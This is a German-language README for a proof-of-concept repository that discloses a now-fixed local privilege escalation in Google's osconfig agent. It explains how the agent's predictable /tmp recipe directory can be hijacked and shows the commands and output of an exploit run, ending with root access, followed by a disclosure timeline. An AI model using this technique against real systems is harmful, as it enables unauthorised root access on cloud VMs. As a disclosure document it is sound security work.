irsl/google-osconfig-privescProof of Concept zu der in Googles Osconfig identifizierten Privilege-Escalation-Schwachstelle
Der google_osconfig_agent-Prozess ist ein Bestandteil der GoogleCloudPlatform-Toolings (https://github.com/GoogleCloudPlatform/osconfig) und läuft standardmäßig auf jeder VM. Der Agent läuft als root und ist für einige benutzergesteuerte Dienste verantwortlich, einschließlich OS config (https://cloud.google.com/compute/docs/os-config-management), einer Art poll-basierten Umsetzung der gewünschten Zustandskonfiguration von Google.
Dieses Repository hostet eine Demo zu einer Privilege-Escalation-Schwachstelle, die ich in der Implementierung identifiziert habe (und die von Google seitdem behoben wurde).
Die auszuführenden Aufgaben werden Rezepte genannt, und einer der unterstützten Rezepttypen ist die Ausführung eines Shell-Skripts. Bei der Verarbeitung eines solchen Rezepts speichert der Agent - der als root mit vollständigen Capabilities läuft - Dateien vorübergehend im /tmp-Verzeichnis und führt sie dann aus. Das vom Agenten erstellte Verzeichnis kann gekapert werden, und so kann das auszuführende Skript ersetzt werden, was effektiv zu einer lokalen Privilegienerweiterung führt.
gcloud services enable osconfig.googleapis.com
gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE
# cat /tmp/poc.txt
cat: /tmp/poc.txt: No such file or directory
# pip3 install inotify_simple
# chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py
Running as 65534
calling inotify.read()
...
gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml"
Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript')
New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript
New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826
# cat /tmp/poc.txt
uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers)
Betriebssystem: f1-micro-Instanz von GCE mit dem Standard-Debian-10-Image.
Google ist dazu übergegangen, ein zufälliges temporäres Verzeichnis anstelle eines vorhersehbaren zu verwenden.
Die korrigierte Version wurde am 2020-09-05 veröffentlicht. Sie müssen Ihr Betriebssystempaket aktualisieren.
Dies ist eine lokale Privilege-Escalation-Schwachstelle, die von jemandem ausgenutzt werden könnte, der bereits über Rechte zur Codeausführung auf den betroffenen GCE-VMs verfügt:
jemand, der über eine Shell mit niedrigen Rechten verfügt
ein Angreifer über einen bereits kompromittierten Netzwerkdienst
Der entscheidende Punkt ist die Übernahme des "Basisverzeichnisses" (/tmp/osconfig_software_recipes), was möglich ist, wenn noch keine Rezepte in der aktuellen Sitzung verarbeitet wurden, was bedeutet:
bisher überhaupt keine Rezepte ausgeführt wurden (z. B. war die osconfig-Funktion nicht in Gebrauch, wird aber später irgendwann verwendet)
die VM neu gestartet wird und alle Rezepte in der Datenbank (/var/lib/google/osconfig_recipedb) vorhanden sind, aber einige Richtlinienaktualisierungen werden später ausgeführt
Obwohl diese besondere Kombination die Wahrscheinlichkeit einer Ausnutzung tatsächlich verringert, halte ich die Nutzung eines Arbeitsverzeichnisses in /tmp hier für nicht sicher. (Google ebenfalls nicht, dieses Problem ist seitdem behoben.)
2020-08-07: Problem entdeckt und gemeldet
2020-08-08: Problem von Google eingestuft, Priorität auf P1 geändert
2020-08-10: Problem von Google bestätigt ("🎉 Nice catch!"), Priorität auf P2, Schweregrad auf S2 geändert
2020-08-14: Update zum VRP-Prozess
2020-09-05: Problem von Google behoben
Imre Rad
https://github.com/GoogleCloudPlatform/osconfig
https://issuetracker.google.com/issues/163147689
https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c